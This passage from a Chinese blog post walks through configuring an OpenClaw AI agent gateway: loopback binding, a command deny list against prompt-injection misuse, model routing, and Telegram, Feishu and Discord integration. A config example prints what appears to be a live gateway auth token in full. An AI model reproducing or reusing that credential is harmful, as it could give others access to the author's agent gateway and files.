<h3 id="-18789-">二、 网关层的安全博弈：18789 端口与指令脱敏</h3><p>在架构设计中，Gateway 是整个系统的“交通指挥中心”。在 macOS 上，它默认监听 <strong>18789</strong> 端口 。</p><h4 id="1-loopback-">1. Loopback 绑定策略</h4><p>在您的真实配置中，<code>bind</code> 必须设置为 <code>loopback</code>，这是极客部署的底线：</p><pre class="language-json lang-json"><code class="language-json lang-json">&quot;gateway&quot;: {
  &quot;port&quot;: 18789,
  &quot;mode&quot;: &quot;local&quot;,
  &quot;bind&quot;: &quot;loopback&quot;, // 核心防护：仅允许 127.0.0.1 访问，防范公网扫描 
  &quot;auth&quot;: {
    &quot;mode&quot;: &quot;token&quot;,
    &quot;token&quot;: &quot;d46575edcf3ca9e379ecd7e8a7a2f0e89c1c81f092d6ae21&quot; // 鉴权令牌
  }
}
</code></pre>
<h4 id="2-denycommands">2. 指令执行的“物理拉黑”（DenyCommands）</h4><p>由于 OpenClaw 拥有执行 Shell 指令的能力（<code>exec</code> 工具），为了防止 AI 产生幻觉后触发意外的物理操作，我们在 <code>nodes</code> 块中配置了硬性约束 ：</p><ul><li><strong>物理隐私</strong>：拉黑 <code>camera.snap</code> 和 <code>screen.record</code>，确保即便遭受提示词注入攻击（Prompt Injection），AI 也无法通过硬件窃取实时画面 。</li><li><strong>通信隔离</strong>：拉黑 <code>sms.send</code>，防止其消耗物理话费发送未经授权的信息 。</li></ul><h3 id="-baishan--volcengine-">三、 算力中心的双路分级：Baishan 与 Volcengine 的成本算法</h3><p>在我的 <code>models</code> 配置中，采用了<strong>“Baishan”</strong>与<strong>“Volcengine-plan”</strong>的双路冗余架构 。（后续还可以用其他的模型）</p><h4 id="1-baishan">1. Baishan路由：低成本大上下文层</h4><p>接入 <code>MiniMax-M2.5</code> 是处理长会话的极佳选择，其核心优势在于：</p><ul><li><p><strong>上下文窗口</strong>：支持 200,000 tokens。</p></li><li><p><strong>成本模型</strong>：输入 2.1 / 输出 8.4 。</p><p>这使得“天枢”代理能够以极低的代价总结长达数月的聊天记录，而无需担心 Token 熔断 。</p></li></ul><h4 id="2-volcengine">2. Volcengine路由：高密度生产力层</h4><p>针对专业性任务，火山引擎节点承载了核心推理力：</p><ul><li><strong>Ark-Code-Latest</strong>：专门针对函数调用（Function Calling）优化的模型，虽然 <code>maxTokens</code> 为 32,000，但在代码生成的确定性上远超通用模型 。</li><li><strong>DeepSeek-V3.2</strong>：作为逻辑推理的标杆，用于处理复杂的架构设计。</li></ul><h3 id="-telegram-">四、 全渠道集成深挖（一）：Telegram 的配对防御</h3><p>Telegram 是最轻量的入口，其集成的难点不在于 Token，而在于<strong>“配对审批（Pairing）”</strong>机制 。</p><p>在 <code>channels.telegram</code> 中，我们坚持使用 <code>dmPolicy: &quot;pairing&quot;</code>。当第一次在手机上发送 <code>/start</code> 时，网关会挂起请求。此时必须在 Mac 终端执行：</p><p>Bash</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash"># 手动批准配对请求
openclaw pairing approve telegram &lt;CODE&gt; 
</code></pre>
<p>这种“物理确认”机制确保了即便是 Bot Token 泄露，外部攻击者也无法在未经本地授权的情况下操作您的文件系统 。</p><h3 id="--feishu-websocket-">五、 全渠道集成深挖（二）：飞书 (Feishu) WebSocket 长连接</h3><p>配置飞书最令人头疼的是 Webhook 所需的固定 IP 和备案。OpenClaw 通过 <strong>WebSocket (长连接)</strong> 模式完美解决了这一痛点 。</p><h4 id="1-">1. 手动配置细节</h4><p>在飞书开发者后台，必须选择 <strong>“使用长连接接收事件”</strong>，并订阅 <code>im.message.receive_v1</code> 事件 。</p><pre class="language-json lang-json"><code class="language-json lang-json">&quot;feishu&quot;: {
  &quot;enabled&quot;: true,
  &quot;connectionMode&quot;: &quot;websocket&quot;, // 强制长连接模式 
  &quot;accounts&quot;: {
    &quot;default&quot;: {
      &quot;appId&quot;: &quot;cli_a90f138b1123dcb1&quot;,
      &quot;appSecret&quot;: &quot;***&quot;
    }
  }
}
</code></pre>
<h4 id="2-">2. 技术陷阱防范</h4><p>在保存飞书后台配置前，必须先启动本地网关 <code>openclaw gateway start</code>。如果网关不在运行，飞书服务器在验证长连接时会因为找不到存活的客户端而报错，导致配置无法发布 。</p><h3 id="-discord--bot-">六、 全渠道集成深挖（三）：Discord 的多 Bot 账户绑定</h3><p>这是“北斗七星”架构中最能体现极客精神的部分。我不满足于一个 Bot 代表所有角色，而是为每个 Agent 配置了独立的灵魂 。</p><h4 id="1-accountid-">1. AccountId 路由绑定逻辑</h4><p>在 <code>bindings</code> 块中，我手动建立了 1:1 的强映射：</p><pre class="language-json lang-json"><code class="language-json lang-json">&quot;bindings&quot;: [
  {
    &quot;agentId&quot;: &quot;tianshu&quot;, 
    &quot;match&quot;: { &quot;channel&quot;: &quot;discord&quot;, &quot;accountId&quot;: &quot;tianshu&quot; }
  },
  {
    &quot;agentId&quot;: &quot;tianxuan&quot;, 
    &quot;match&quot;: { &quot;channel&quot;: &quot;discord&quot;, &quot;accountId&quot;: &quot;tianxuan&quot; }
  }
]
</code></pre>
<p>这确保了当我 @天枢 时，唤起的是调度大脑；当我 @天璇 时，唤起的是代码专家 。</p><h4 id="2-message-content-intent">2. 权限“生死门”：Message Content Intent</h4><p>在 Discord Developer Portal 中，必须手动开启 <strong>Message Content Intent</strong>。若不开启，OpenClaw 接收到的消息正文将永远为空，导致 Agent 变成无法感知的“聋子” 。</p><h3 id="">结语：迈向主权计算的第一步</h3><p>至此，通过手动编排 <code>openclaw.json</code>，我们已经完成了一台 Mac 向“个人 AI 枢纽”的本质蜕变。这不是一次简单的安装，而是在 macOS 的 loopback 端口之上，亲手搭建了一套具备双算力中心支持、全渠道安全隔离的数字领地。</p><p>在下一篇文章中，我们将踏入更高阶的领域：<strong>如何通过 <code>SOUL.md</code> 为天枢、天璇等代理注入“思想钢印”，构建真正的流水线式协同阵列。</strong></p></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/ink_gone/Mastering-Agentic-OS%3A-A-Manual-Architecting-Guide-for-OpenClaw-Gateway#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/ink_gone/Mastering-Agentic-OS%3A-A-Manual-Architecting-Guide-for-OpenClaw-Gateway</link><guid isPermaLink="true">https://ctexthuang.com/posts/ink_gone/Mastering-Agentic-OS%3A-A-Manual-Architecting-Guide-for-OpenClaw-Gateway</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Mon, 16 Mar 2026 07:59:05 GMT</pubDate></item></channel></rss>